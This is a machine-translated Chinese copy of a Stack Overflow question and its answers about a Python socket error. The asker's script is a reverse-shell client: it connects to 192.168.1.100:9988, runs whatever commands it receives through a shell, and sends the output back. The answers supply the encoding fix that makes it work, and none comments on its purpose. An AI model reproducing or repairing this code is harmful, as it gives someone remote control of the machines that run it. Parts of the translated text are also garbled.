尽我所能。有人能告诉我错误的确切范围吗。还试图将其转换为"encode("utf-8)*但什么也没有。
import os
import socket
import subprocess
s = socket.socket()
host = '192.168.1.100'
port = 9988
s.connect((host,port))
while True:
data = s.recv(1024)
if data[:2].decode("utf-8") == 'cd':
os.chdir((data[3:].decode("utf-8")))
if len(data) > 0:
cmd = subprocess.Popen(data[:].decode("utf-8"), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
output_bytes = cmd.stdout.read() + cmd.stderr.read()
output_str = str(output_bytes, "utf-8")
s.send(bytes)
发布于 2017-02-22 04:57:32
Python2.x:
Socket.send(字符串、标志)将数据发送到套接字。套接字必须连接到远程套接字。可选标志参数的含义与上面的recv()相同。返回发送的字节数。应用程序负责检查所有数据是否已发送;如果仅传输了一些数据,则应用程序需要尝试传递其余数据。有关此概念的进一步信息,请参阅套接字编程方法。
Python3
Socket.send(字节、标志)将数据发送到套接字。套接字必须连接到远程套接字。可选标志参数的含义与上面的recv()相同。返回发送的字节数。应用程序负责检查所有数据是否已发送;如果仅传输了一些数据,则应用程序需要尝试传递其余数据。有关此主题的详细信息,请参阅套接字编程方法。
您用python2和python3标记标记您的问题,但是python2.x和python3中的socket.send()
是不同的。在python2中,send()
需要字符串类型,但在python3中,它需要类似字节的对象,您可以做的是将str.encode()
对象传递给它。
您传递的是bytes
,但是它是python内置类型,而不是类似字节的对象。
您可以尝试s.send(output_str.encode())
,它将向客户端发送编码的output_str (一旦客户端接收到数据,就必须对其进行解码)。
发布于 2017-02-22 04:54:05
您没有将名称“字节”绑定到任何字符串。因此,内置类型“字节”被传递给s.send函数。
发布于 2017-02-22 05:14:50
你需要发送输出字符串,
s.send(output_str)
因为bytes
是python中内置的数据类型。
https://stackoverflow.com/questions/42382945
复制相似问题